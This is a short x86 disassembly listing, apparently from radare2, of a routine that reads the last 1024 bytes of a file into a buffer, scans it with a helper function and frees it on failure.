mov byte [ebp - 0x13], 0x72
call esi
push eax
call edi
xor ebx, ebx
push 2
push ebx
push 0xfffffc00
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x400
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
lea eax, [ebp - 4]
push ebx
push eax
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov eax, 0xffffffff
nop
nop
push ebx
push esi
push dword [ebp + 0xc]
push edi
call fcn.004094fe
add esp, 0x10
cmp eax, 0xffffffff
jne 0x409704
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x409646
add eax, edi
pop edi
pop esi
pop ebx
leave
ret